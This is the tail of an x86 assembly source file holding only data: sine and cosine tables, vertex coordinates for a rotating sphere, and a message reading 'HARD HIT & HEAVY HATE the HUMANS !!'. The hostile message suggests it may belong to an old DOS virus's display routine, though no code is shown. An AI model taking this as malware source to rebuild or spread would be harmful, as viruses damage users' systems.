dw -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039
|
|||
|
|
dw -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011
|
|||
|
|
dw -3212, -2410, -1608, -804
|
|||
|
|
costabl dw 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
|
|||
|
|
dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571
|
|||
|
|
dw 30273, 29956, 29621, 29268, 28898, 28510, 28105, 27683
|
|||
|
|
dw 27245, 26790, 26319, 25832, 25329, 24811, 24279, 23731
|
|||
|
|
dw 23170, 22594, 22005, 21403, 20787, 20159, 19519, 18868
|
|||
|
|
dw 18204, 17530, 16846, 16151, 15446, 14732, 14010, 13279
|
|||
|
|
dw 12539, 11793, 11039, 10278, 9512, 8739, 7962, 7179
|
|||
|
|
dw 6393, 5602, 4808, 4011, 3212, 2410, 1608, 804
|
|||
|
|
dw 0, -804, -1608, -2410, -3212, -4011, -4808, -5602
|
|||
|
|
dw -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
|
|||
|
|
dw -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530
|
|||
|
|
dw -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594
|
|||
|
|
dw -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790
|
|||
|
|
dw -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956
|
|||
|
|
dw -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971
|
|||
|
|
dw -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757
|
|||
|
|
dw -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285
|
|||
|
|
dw -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571
|
|||
|
|
dw -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683
|
|||
|
|
dw -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731
|
|||
|
|
dw -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868
|
|||
|
|
dw -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279
|
|||
|
|
dw -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179
|
|||
|
|
dw -6393, -5602, -4808, -4011, -3212, -2410, -1608, -804
|
|||
|
|
dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602
|
|||
|
|
dw 6393, 7179, 7962, 8739, 9512, 10278, 11039, 11793
|
|||
|
|
dw 12539, 13279, 14010, 14732, 15446, 16151, 16846, 17530
|
|||
|
|
dw 18204, 18868, 19519, 20159, 20787, 21403, 22005, 22594
|
|||
|
|
dw 23170, 23731, 24279, 24811, 25329, 25832, 26319, 26790
|
|||
|
|
dw 27245, 27683, 28105, 28510, 28898, 29268, 29621, 29956
|
|||
|
|
dw 30273, 30571, 30852, 31113, 31356, 31580, 31785, 31971
|
|||
|
|
dw 32137, 32285, 32412, 32521, 32609, 32678, 32728, 32757
|
|||
|
|
gombdata:
|
|||
|
|
DW 44, 3, 22, 29, 6, 40, 7, 9, 48,-14, 12, 46
|
|||
|
|
DW -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25
|
|||
|
|
DW -19, 26,-37, 0, 29,-40, 17, 31,-34, 29, 34,-21
|
|||
|
|
DW 33, 36, -5, 30, 38, 9, 20, 40, 20, 8, 42, 25
|
|||
|
|
DW -3, 43, 23,-12, 45, 17,-16, 46, 8,-15, 47, 0
|
|||
|
|
DW -11, 48, -5, -5, 49, -7, 0, 49, -6, 0, 49, -2
|
|||
|
|
DW 0, 49, 0, -2, 49, 0, -6, 49, 0, -7, 49, -5
|
|||
|
|
DW -5, 48,-11, 0, 47,-15, 8, 46,-16, 17, 45,-12
|
|||
|
|
DW 23, 43, -3, 25, 42, 8, 20, 40, 20, 9, 38, 30
|
|||
|
|
DW -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29, 0
|
|||
|
|
DW -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44
|
|||
|
|
DW 33,15,-33,46,12,-14,48,9,7,40,6,29
|
|||
|
|
DW 22,3,44,0,0,49,-22,-3,44,-40,-6,29
|
|||
|
|
DW -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44
|
|||
|
|
DW 7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0
|
|||
|
|
DW 34,-31,17,21,-34,29,5,-36,33,-9,-38,30
|
|||
|
|
DW -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12
|
|||
|
|
DW -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5
|
|||
|
|
DW 6,-49,0,2,-49,0,0,-49,0,0,-49,-2
|
|||
|
|
DW 0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0
|
|||
|
|
DW 16,-46,8,12,-45,17,3,-43,23,-8,-42,25
|
|||
|
|
DW -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21
|
|||
|
|
DW -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25
|
|||
|
|
DW 44,-21,-7,44,-18,14,33,-15,33,14,-12,46
|
|||
|
|
DW -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0
|
|||
|
|
DW -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46
|
|||
|
|
DW 33,15,-33,44,18,-14,44,21,7,35,24,25
|
|||
|
|
DW 19,26,37,0,29,40,-17,31,34,-29,34,21
|
|||
|
|
DW -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25
|
|||
|
|
DW 3,43,-23,12,45,-17,16,46,-8,15,47,0
|
|||
|
|
DW 11,48,5,5,49,7,0,49,6,0,49,2
|
|||
|
|
DW 0,49,0,2,49,0,6,49,0,7,49,5
|
|||
|
|
DW 5,48,11,0,47,15,-8,46,16,-17,45,12
|
|||
|
|
DW -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30
|
|||
|
|
DW 5,36,-33,21,34,-29,34,31,-17,40,29,0
|
|||
|
|
DW 37,26,19,25,24,35,7,21,44,-14,18,44
|
|||
|
|
DW -33,15,33,-46,12,14,-48,9,-7,-40,6,-29
|
|||
|
|
DW -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29
|
|||
|
|
DW 48,-9,-7,46,-12,14,33,-15,33,14,-18,44
|
|||
|
|
DW -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0
|
|||
|
|
DW -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30
|
|||
|
|
DW 20,-40,-20,25,-42,-8,23,-43,3,17,-45,12
|
|||
|
|
DW 8,-46,16,0,-47,15,-5,-48,11,-7,-49,5
|
|||
|
|
DW -6,-49,0,-2,-49,0,0,-49,0,0,-49,2
|
|||
|
|
DW 0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0
|
|||
|
|
DW -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25
|
|||
|
|
DW 20,-40,-20,30,-38,-9,33,-36,5,29,-34,21
|
|||
|
|
DW 17,-31,34,0,-29,40,-19,-26,37,-35,-24,25
|
|||
|
|
DW -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46
|
|||
|
|
DW 7,-9,-48,29,-6,-40,44,-3,-22,49,0,0
|
|||
|
|
patt: DB 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27
|
|||
|
|
db 31,35,40,45,50,56,61,67,73,80,86,93
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
mess db 'HARD HIT & HEAVY HATE the HUMANS !!'
|
|||
|
|
db ' [ H.H.& H.H. the H. ] '
|
|||
|
|
drt dw 5 dup (0)
|
|||
|
|
memory:
|
|||
|
|
CODE ENDS
|
|||
|
|
|
|||
|
|
END START
|